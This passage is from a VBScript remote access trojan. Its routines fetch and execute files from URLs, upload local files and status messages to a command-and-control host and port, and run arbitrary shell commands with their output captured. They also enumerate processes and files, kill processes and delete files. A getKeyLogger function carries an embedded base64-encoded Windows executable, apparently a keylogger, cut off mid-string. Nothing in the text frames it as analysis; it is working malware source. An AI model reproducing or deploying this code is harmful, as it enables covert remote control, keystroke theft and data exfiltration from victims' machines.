  752.     shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & chr(34) & filearg & chr(34) & " " & is_offline
  753.     end if
  754. end sub
  755.  
  756. sub servicestarter (fileurl, filename, filearg)
  757.     shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  758.     strlink = fileurl
  759.     strsaveto = installdir & filename
  760.     set objhttpdownload = createobject("msxml2.xmlhttp" )
  761.     objhttpdownload.open "get", strlink, false
  762.     objhttpdownload.setrequestheader "cache-control:", "max-age=0"
  763.     objhttpdownload.send
  764.     set objfsodownload = createobject ("scripting.filesystemobject")
  765.     if  objfsodownload.fileexists (strsaveto) then
  766.     objfsodownload.deletefile (strsaveto)
  767.     end if
  768.     if objhttpdownload.status = 200 then
  769.     dim  objstreamdownload
  770.     set  objstreamdownload = createobject("adodb.stream")
  771.     with objstreamdownload
  772.         .type = 1
  773.         .open
  774.         .write objhttpdownload.responsebody
  775.         .savetofile strsaveto
  776.         .close
  777.         end with
  778.         set objstreamdownload = nothing
  779.     end if
  780.     if objfsodownload.fileexists(strsaveto) then
  781.     shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & chr(34) & filearg & chr(34)
  782.     end if
  783. end sub
  784.  
  785. sub sitedownloader (fileurl,filename)
  786.     strlink = fileurl
  787.     strsaveto = installdir & filename
  788.     set objhttpdownload = createobject("msxml2.serverxmlhttp" )
  789.     objhttpdownload.open "get", strlink, false
  790.     objhttpdownload.setrequestheader "cache-control", "max-age=0"
  791.     objhttpdownload.send
  792.     set objfsodownload = createobject ("scripting.filesystemobject")
  793.     if  objfsodownload.fileexists (strsaveto) then
  794.     objfsodownload.deletefile (strsaveto)
  795.     end if
  796.     if objhttpdownload.status = 200 then
  797.     dim  objstreamdownload
  798.     set  objstreamdownload = createobject("adodb.stream")
  799.     with objstreamdownload
  800.         .type = 1
  801.         .open
  802.         .write objhttpdownload.responsebody
  803.         .savetofile strsaveto
  804.         .close
  805.     end with
  806.     set objstreamdownload = nothing
  807.     end if
  808.     if objfsodownload.fileexists(strsaveto) then
  809.     shellobj.run objfsodownload.getfile (strsaveto).shortpath
  810.     updatestatus("Executed+File")
  811.     end if
  812. end sub
  813.  
  814. sub download (fileurl,filedir)
  815.     if filedir = "" then
  816.     filedir = installdir
  817.     end if
  818.     strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  819.     set objhttpdownload = createobject("msxml2.xmlhttp")
  820.     objhttpdownload.open "post","http://" & host & ":" & port &"/" & "send-to-me" & spliter & fileurl, false
  821.     objhttpdownload.setrequestheader "user-agent:",information
  822.     objhttpdownload.send ""
  823.     set objfsodownload = createobject ("scripting.filesystemobject")
  824.     if  objfsodownload.fileexists (strsaveto) then
  825.     objfsodownload.deletefile (strsaveto)
  826.     end if
  827.     if  objhttpdownload.status = 200 then
  828.     dim  objstreamdownload
  829.     set  objstreamdownload = createobject("adodb.stream")
  830.     with objstreamdownload
  831.         .type = 1
  832.         .open
  833.         .write objhttpdownload.responsebody
  834.         .savetofile strsaveto
  835.         .close
  836.     end with
  837.     set objstreamdownload  = nothing
  838.     end if
  839.     if objfsodownload.fileexists(strsaveto) then
  840.     shellobj.run objfsodownload.getfile (strsaveto).shortpath
  841.     updatestatus("Executed+File")
  842.     end if
  843. end sub
  844.  
  845. function updatestatus(status_msg)
  846.     on error resume next
  847.     set objsoc = createobject("msxml2.xmlhttp")
  848.     objsoc.open "post","http://" & host & ":" & port &"/" & "update-status" & spliter & status_msg, false
  849.     objsoc.setrequestheader "user-agent:",information
  850.     objsoc.send ""
  851. end function
  852.  
  853. function upload (fileurl, retcmd)
  854.     dim  httpobj,objstreamuploade,buffer
  855.     set  objstreamuploade = createobject("adodb.stream")
  856.     with objstreamuploade
  857.     .type = 1
  858.     .open
  859.     .loadfromfile fileurl
  860.     buffer = .read
  861.     .close
  862.     end with
  863.     set objstreamdownload = nothing
  864.     set httpobj = createobject("msxml2.xmlhttp")
  865.     httpobj.open "post","http://" & host & ":" & port &"/" & retcmd, false
  866.     httpobj.setrequestheader "user-agent:",information
  867.     httpobj.send buffer
  868. end function
  869.  
  870. sub deletefaf (url)
  871.     on error resume next
  872.     filesystemobj.deletefile url
  873.     filesystemobj.deletefolder url
  874. end sub
  875.  
  876. function cmdshell (cmd)
  877.     dim httpobj,oexec,readallfromany
  878.     strsaveto = installdir & "out.txt"
  879.     shellobj.run "%comspec% /c " & cmd & " > " & chr(34) & strsaveto & chr(34), 0, true
  880.     readallfromany = filesystemobj.opentextfile(strsaveto).readall()
  881.     filesystemobj.deletefile strsaveto
  882.     cmdshell = readallfromany
  883. end function
  884.  
  885. function enumprocess()
  886.     on error resume next
  887.     set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  888.     set colitems = objwmiservice.execquery("select * from win32_process",,48)
  889.     dim objitem
  890.     for each objitem in colitems
  891.     enumprocess = enumprocess & objitem.name & "^"
  892.     enumprocess = enumprocess & objitem.processid & "^"
  893.     enumprocess = enumprocess & objitem.executablepath & spliter
  894.     next
  895. end function
  896.  
  897. sub exitprocess (pid)
  898.     on error resume next
  899.     shellobj.run "taskkill /F /T /PID " & pid,0,true
  900. end sub
  901.  
  902. function getParentDirectory(path)
  903.     set fo = filesystemobj.GetFile(path)
  904.     getParentDirectory = filesystemobj.getparentfoldername(fo)
  905. end function
  906.  
  907. function enumfaf (enumdir)
  908.     for  each folder in filesystemobj.getfolder (enumdir).subfolders
  909.     enumfaf = enumfaf & folder.name & "^" & "" & "^" & "d" & "^" & folder.attributes & spliter
  910.     next
  911.     for  each file in filesystemobj.getfolder (enumdir).files
  912.     enumfaf = enumfaf & file.name & "^" & file.size  & "^" & file.attributes & spliter
  913.     next
  914. end function
  915.  
  916. function getKeyLogger()
  917.     encoded = "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